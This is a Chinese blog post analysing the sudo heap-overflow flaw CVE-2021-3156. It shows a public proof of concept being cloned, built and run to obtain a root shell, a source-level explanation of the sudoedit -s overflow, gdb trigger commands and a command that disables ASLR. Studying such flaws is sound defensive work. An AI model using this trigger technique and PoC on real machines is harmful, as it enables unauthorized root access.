【CVE分析】CVE-2021-3156 sudo权限提升漏洞

Sudo 权限提升漏洞

漏洞详情

https://blog.csdn.net/qq_43332010/article/details/113560664

https://zhuanlan.zhihu.com/p/352124097

https://www.cnblogs.com/yujin2020/p/14377503.html

2021 年 1 月 26 日,Linux 安全工具 sudo 被发现严重的基于堆缓冲区溢出漏洞。利用这一漏洞,攻击者无需知道用户密码,一样可以获得 root 权限,并且是在默认配置下。此漏洞已分配为 CVE-2021-3156,危险等级评分为7分。

当 sudo 通过 -s 或 -i 命令行选项在 shell 模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用 -s 或 -i 标志运行 sudoedit 时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在 sudoers 文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个 Linux 发行版上成功获得了完整的root权限,包括 Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和 Fedora 33(sudo 1.9.2),并且 sudo 支持的其他操作系统和Linux发行版也很容易受到攻击。

漏洞复现

我的复现环境是 ubuntu 18.04.1,sudo 版本是 1.8.21p2

1
2
3
4
5
6
Linux ubuntu 5.0.0-23-generic #24~18.04.1-Ubuntu SMP Mon Jul 29 16:12:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

POC 代码位于 https://github.com/blasty/CVE-2021-3156。

1
2
3
4
5
6
7
8
9
10
11
12
$ git clone https://github.com/blasty/CVE-2021-3156
$ cd CVE-2021-3156/
$ make
$ ./sudo-hax-me-a-sandwich 0

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# whoami
root

接下来源码编译 sudo 1.8.21p2,编译时添加符号表信息。

1
2
3
4
cd sudo-SUDO_1_8_21p2
CC="gcc -g" ./configure --prefix=`pwd`/build
make
sudo make install

接下来把符号表信息单独导出为 sudo.dbg 。

1
objcopy --only-keep-debug sudo sudo.dbg

漏洞分析

环境与版本

sudo 源码于 https://github.com/sudo-project/sudo/tree/SUDO_1_8_21p2 下载,下面的分析也基于此版本。

漏洞分析原文在 https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt

漏洞细节

src/sudo.c 中定义了入口点 main() 函数,其中第 193 行调用 parse_args() 函数来解析命令行参数。

1
2
3
4
// src/sudo.c in main() line 192-194 
/* Parse command line arguments. */
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
sudo_debug_printf(SUDO_DEBUG_DEBUG, "sudo_mode %d", sudo_mode);

如果在 shell 模式使用 sudo 运行一条命令:

  • 要么使用 -s 参数,能够设置 sudo 的 MODE_SHELL 标志位
  • 要么使用 -i 参数,设置 sudo 的 MODE_SHELLMODE_LOGIN_SHELL 标志位。然后在 sudo 的 main() 函数的开始,parse_args() 覆盖了命令行参数(566-574 行),然后用反斜线来转义所有的元字符(547-548 行)。

parse_args() 函数中使用反斜线来转义特殊字符:

1
2
3
4
5
6
7
8
9
10
// src/parse_args.c in parse_args() line 544-552
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}

然后,在 plugins/sudoers/sudoers.csudoers_policy_main() 函数中,于 293 行调用了 set_cmnd() 函数:

1
2
3
4
5
// plugins/sudoers/sudoers.c in sudoers_policy_main() line  292-295
/* Find command in path and apply per-command Defaults. */
cmnd_status = set_cmnd();
if (cmnd_status == NOT_FOUND_ERROR)
goto done;

set_cmnd() 函数会将命令行参数处理后,合并到位于堆的缓冲区 user_args 上,并取消对元字符的转义(861-862 行),用于 sudoers 的匹配和日志记录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// plugins/sudoers/sudoers.c in set_cmnd() line 853-868
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging purposes.
*/
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*--to = '\0';
}

然而,如果一个命令行参数以反斜线 \ 结尾,那么:

  • 在 861 行,from[0] 是反斜线 \,那么 from[1] 就是字符串的终结符 \x00 ,显然不是一个空白符
  • 因此,在 862 行,from 指针 +1,指向了终结符 \x00
  • 在 863 行,终结符将被拷贝到 to 指针指向的 user_args 缓冲区处,然后 from 指针自增,因此会指向终结符 \x00 后的第一个字符
  • 860-864 行的 while() 循环将会继续读取并复制超出了 from 边界的字符,并拷贝到 user_args 缓冲区。

总之,set_cmnd() 存在一个堆缓冲区溢出漏洞。

漏洞触发条件

首先讨论如何才能触发这个漏洞。plugins/sudoers/sudoers.c in set_cmnd() 的第 853 行要求:

1
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {

即必须设置 MODE_SHELL 或者 MODE_LOGIN_SHELL 才能向下运行。而在 src/parse_args.cparse_args() 函数中,第 528 行要求了 MODE_SHELL 被设置时,将会对所有非字母和数字进行转义(使用反斜线),因此也会对反斜线 \ 进行转义从而得到 \\

1
2
3
4
5
6
7
8
9
10
11
12
13
// src/parse_args.c in parse_args() line 525-536
/*
* For shell mode we need to rewrite argv
*/
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;

if (argc != 0) {
/* shell -c "command" */
char *src, *dst;
size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
strlen(argv[argc - 1]) + 1;

但实际上,set_cmnd() 函数中漏洞代码的触发条件,和 parse_args() 中参数被转义的条件有细微的不同:

1
2
3
4
// set_cmnd() 触发条件
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
... ...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
1
2
// parse_args() 转义条件
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {

我们的目标是,触发 set_cmnd() 的漏洞代码,但不触发 parse_args() 的转义条件。因此我们需要设置 MODE_SHELL ,并设置 MODE_EDITMODE_CHECK 其中一项,并且不能设置 MODE_RUN。所以现在的问题是,是否有这样的一种设置方式呢?

答案是否定的。如果我们设置 MODE_EDIT (使用 -e 参数,337 行)或者设置 MODE_CHECK (使用 -l 参数,389 行和 476 行)时,valid_flags 位将会被重新设置(342 行和 397 行),显然 MODE_SHELL 标志位并不存在于 valid_flags 中。因此在 489-490 行的检查无法通过,程序会退出。因此 MODE_EDIT MODE_CHECK 无法与 MODE_SHELL 标志位共存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// src/parse_args.c in parse_args() line 337-342
case 'e':
if (mode && mode != MODE_EDIT)
usage_excl(1);
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
... ...
// line 389-397
case 'l':
if (mode) {
if (mode == MODE_LIST)
SET(flags, MODE_LONG_LIST);
else
usage_excl(1);
}
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
... ...
// line 475-476
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
... ...
// line 489-490
if ((flags & valid_flags) != flags)
usage(1);

但是我们发现了一个漏洞:如果我们执行 sudoedit 而不是 sudo 命令,那么 parse_args() 函数将会自动设置好 MODE_EDIT 标志位,且不会重设 valid_flags ( 261 行,如下所示)。

1
2
3
4
5
6
7
8
// src/parse_args.c in parse_args() line 257-263
/* First, check to see if we were invoked as "sudoedit". */
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}

因此,当我们执行 sudoedit -s 时,我们就能同时设置 MODE_EDITMODE_SHELL,且不设置 MODE_RUN。此时,我们就能跳过字符的转义,从而触发位于 set_cmnd() 函数的漏洞代码,用以 \ 结尾的命令行参数溢出缓冲区 user_args

从攻击者的角度总结一下,这个缓冲区溢出漏洞非常理想,主要有以下几个原因:

  1. 攻击者可以控制溢出 user_args 缓冲区的大小(在 847-848 行,可以看到,user_args 的大小就是所有参数所占字节数 + 1)

    1
    2
    3
    4
    // plugins/sudoers/sudoers.c in set_cmnd() line 847-849
    for (size = 0, av = NewArgv + 1; *av; av++)
    size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
  2. 攻击者可以独立控制溢出的大小和溢出的内容。(our last command-line argument is conveniently followed by our first environment variables, which are not included in the size calculation at lines 847-848)

    由于在 Linux 下,命令行参数后面的内存空间保存的是环境变量,因此可以构造包含 {'\', '\x00'} 这样的环境变量,实现内存任意溢出。

  1. 攻击者甚至可以向缓冲区中写入空字符 \x00 (每个以单个反斜线作为结尾的命令行参数或者环境变量都会向 user_args 中写入一个空字符,在 set_cmnd() 861-862 行)

漏洞利用

提权原理

sudo 程序具备 SUID 权限,且 sudo 的所有者是 root,因此普通用户执行 sudo 程序时,是以 root 身份执行的。sudo 程序正常执行时,会在执行用户命令之前鉴定执行者的权限。CVE-2021-3156 漏洞发生的函数在 set_cnmd() ,处于鉴定权限之前,所以会造成任意用户提权的风险。

利用思路

最初,作者希望使用 halfdog 团队的技术,从而将堆溢出转化为一个格式化字符串利用。因此作者写了一个爆破(没看懂,挖坑),虽然没有成功,但是意外地发现了有趣的 crash。

1. struct sudo_hook_entry 覆盖

1
2
3
4
5
6
7
8
9
Program received signal SIGSEGV, Segmentation fault.

0x000056291a25d502 in process_hooks_getenv (name=name@entry=0x7f4a6d7dc046 "SYSTEMD_BYPASS_USERDB", value=value@entry=0x7ffc595cc240) at ../../src/hooks.c:108

=> 0x56291a25d502 <process_hooks_getenv+82>: callq *0x8(%rbx)

rbx 0x56291c1df2b0 94734565372592

0x56291c1df2b0: 0x4141414141414141 0x4141414141414141

难以置信, sudo 的一个函数 process_hooks_getenv() 崩溃了,因为我们直接覆盖了一个函数指针 getenv_fn (101 行),它是一个位于堆的结构体 struct sudo_hook_entry 的一个成员。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// src/hooks.c in process_hooks_getenv() line 92-104
int
process_hooks_getenv(const char *name, char **value)
{
struct sudo_hook_entry *hook;
char *val = NULL;
int rc = SUDO_HOOK_RET_NEXT;

/* First process the hooks. */
SLIST_FOREACH(hook, &sudo_hook_getenv_list, entries) {
rc = hook->u.getenv_fn(name, &val, hook->closure);
if (rc == SUDO_HOOK_RET_STOP || rc == SUDO_HOOK_RET_ERROR)
break;
}

可以将 getenv_fn 指针替换为 execve() ,并控制 name 字段即可。然而这样需要爆破 ASLR。

2. struct service_user 覆盖

1
2
3
4
5
6
7
Program received signal SIGSEGV, Segmentation fault.

0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344

=> 0x7f6bf9c294ee <nss_load_library+46>: cmpq $0x0,0x8(%rbx)

rbx 0x41414141414141 18367622009667905

glibc 的库函数 nss_load_library() 崩溃了,原因是覆盖了 library 指针,它是位于堆的结构体 struct service_user 的一个成员。 nss_load_library() 函数的部分定义如下所示。可以看到,当控制了 ni 指针,就可以调用 __libc_dlopen() 打开一个指定的动态链接库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
------------------------------------------------------------------------
327 static int
328 nss_load_library (service_user *ni)
329 {
330 if (ni->library == NULL)
331 {
...
338 ni->library = nss_new_service (service_table ?: &default_table,
339 ni->name);
...
342 }
343
344 if (ni->library->lib_handle == NULL)
345 {
346 /* Load the shared library. */
347 size_t shlen = (7 + strlen (ni->name) + 3
348 + strlen (__nss_shlib_revision) + 1);
349 int saved_errno = errno;
350 char shlib_name[shlen];
351
352 /* Construct shared object name. */
353 __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
354 "libnss_"),
355 ni->name),
356 ".so"),
357 __nss_shlib_revision);
358
359 ni->library->lib_handle = __libc_dlopen (shlib_name);
------------------------------------------------------------------------

调试分析——溢出分析

显然,第二个方法比较靠谱。我决定调试一下。

1
2
3
sudo gdb ./sudoedit
b sudoers.c:861
run -s xxxxxx\\ 01234567

image-20210414175054577

image-20210414175127756

可以看到,to 地址处被设置为 0x787878787878(对应字符 ‘x’),最后一个反斜线被处理为 \x00,后续跟随下一个命令行参数 01234567(对应 0x30)。这里足以说明后续的 01234567 可以溢出到下一个 chunk 。

调试分析——利用分析

/usr/bin/sudo 进行调试分析。

先关闭 ASLR:

1
echo 0 > /proc/sys/kernel/randomize_va_space

用到的指令如下:

  • set breakpoint pending on :允许在模块还未加载时就设置断点,当模块加载后自动添加断点
  • catch exec :当新进程启动时断住,这样就可以通过 gdb sudo-hax-me-a-sandwich 来启动进程了。

/usr/bin/sudo 没有符号信息。但是 exp 向堆中写入了字符串 "X/P0P_SH3LLZ_" 作为打开动态库的文件名。根据前面的信息,是在调用了函数 nss_load_library 函数时加载了动态链接库。通过 b nss_load_library 配合 set breakpoint pending on ,在 nss_load_library() 函数调用时中断。通过调试发现,nss_load_library() 调用了 __libc_dlopen_mode() 函数:

image-20210728123206920

如果后续有时间,再研究把这个 exp 扩展到其他版本的系统上。